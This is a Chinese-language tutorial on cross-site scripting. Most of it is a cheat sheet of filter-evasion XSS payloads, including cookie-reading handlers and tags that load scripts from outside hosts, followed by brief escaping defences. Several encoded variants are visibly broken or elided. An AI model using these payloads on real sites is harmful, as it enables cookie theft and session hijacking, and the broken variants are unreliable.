XSS(Cross Site Scripting)
XSS,全称Cross Site Scripting,即跨站脚本攻击,也是一种注入攻击,是指攻击者在页面注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在浏览器上运行。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。还有一种特殊的基于DOM的XSS(DOM Based XSS)
1、反射型XSS
又称为非持久性跨站点脚本攻击。攻击者是通过URL控制了页面的输出。攻击者构造一个包含XSS代码的URL,诱导用户去点击恶意链接,被植入的攻击脚本被用户游览器执行,达到劫持访问、获取cookies等的攻击目的。
假设后端代码为:
<?php
$username = $_GET['username'];
echo $username;
?>
XSS攻击对应链接为:
http://xi.baidu.com?username=<script>alert(/xss/)</script>
2、存储型XSS
又称为持久型跨站点脚本,可以将脚本代码通过发布内容(如发论坛、博文、写留言等)的方式发布后,存储在数据库中,成为某个url正常的页面的一部分,当一个页面被用户打开的时候执行。持久型XSS更具有隐蔽性,带来的危害也更大。
3、DOM Based XSS
意味着出现在DOM(文档对象模型)中的跨站点脚本漏洞,而不是HTML的一部分,是一种利用前端代码漏洞进行攻击的攻击方式。DOM Based XSS既有可能是反射型的,也有可能是存储型的。在反射和存储的跨站点脚本攻击中,可以在响应页面中看到漏洞Payload,但在基于DOM的跨站点脚本中,HTML源代码和攻击响应将完全相同,即无法在响应。它只能在运行时或通过调查页面的DOM来观察。
常见XSS攻击方式如下:
1、普通的XSS JavaSript注入:
<SCRIPT SRC=http://xi.baidu.com/XSS/xss.js></SCRIPT>
IMG标签XSS使用JavaScript命令:
<IMG SRC=http://xi.baidu.com/XSS/xss.js>
IMG标签无分号无引号:
<IMG SRC=javascript:alert('XSS')>
IMG标签大小写不敏感:
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML编码(必须有分号):
<IMG SRC=javascript:alert("XSS")>
修正缺陷IMG标签:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
formCharCode标签(计算器):
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
十六进制编码:
<IMG SRC=java..省略..XSS')>
嵌入式标签,将JavaScript分开:
<IMG SRC="jav ascript:alert('XSS');">
嵌入式编码标签,将JavaScript分开:
<IMG SRC="jav ascript:alert('XSS');">
嵌入式换行符:
<IMG SRC="jav ascript:alert('XSS');">
嵌入式回车:
<IMG SRC="jav ascript:alert('XSS');">
嵌入式多行注入JavaScript,这是XSS极端的例子:
<IMG SRC="javascript:alert('XSS')">
解决限制字符(要求同页面):
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>
Spaces和meta前的IMG标签:
<IMG SRC=" javascript:alert('XSS');">
双开括号:
<<SCRIPT>alert("XSS");//<</SCRIPT>
无结束脚本标记(仅火狐浏览器):
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
无结束脚本标记2:
<SCRIPT SRC=//3w.org/XSS/xss.js>
半开的HTML/JavaScript XSS:
<IMG SRC="javascript:alert('XSS')"
双开角括号:
<iframe src=http://3w.org/XSS.html <
换码过滤的JavaScript:
\";alert('XSS');//
结束Title标签:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Input Image:
<INPUT SRC="javascript:alert('XSS');">
BODY Image:
<BODY BACKGROUND="javascript:alert('XSS')">
BODY标签:
<BODY('XSS')>
远程样式表:
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
META链接url:
<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">
使用BASE标签:
<BASE HREF="javascript:alert('XSS');//">
URL绕行:
<A HREF="http://127.0.0.1/">XSS</A>
URL编码:
<A HREF="http://3w.org">XSS</A>
常见的XSS攻击载荷:
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
XSS特殊攻击方式:
利用js特性进行特殊编码变形绕过防御手段:
1、Jsfuck
Jsfuck可以针对常见的js函数、语法进行编码进行编码转换。http://www.jsfuck.com/
2、Aaencode
js加密工具aaencode把js转为文字表情符。http://utf-8.jp/public/aaencode.html
另外市场上面有大量的XSS平台,自动生成js攻击载荷,大大减少了攻击难度。
简单的测试方法:
所有提交数据的地方都有可能存在XSS,可以用最简单脚本进行测试:
XSS攻击防御
从输入到输出都需要过滤、验证、转义。
输入:
客户端请求参数:包括用户输入,url参数、post参数。
1、对<script>、<img>、<a>等标签进行过滤。
2、针对不同输入类型,对输入做变量类型限制。
3、用户输入中将某些预定字符列入黑名单或不允许使用以及限制一些预期将遇到的危险如限制字符串长度等。
3、字符串类型的数据,需要针对<、>、/、’、”、&五个字符进行实体化转义。
输出:
即使在客户端对用户的输入做了过滤、转义,攻击者一样可能,通过截包,转发等手段,修改请求包体。最终还是要在数据输出的时候做数据转义。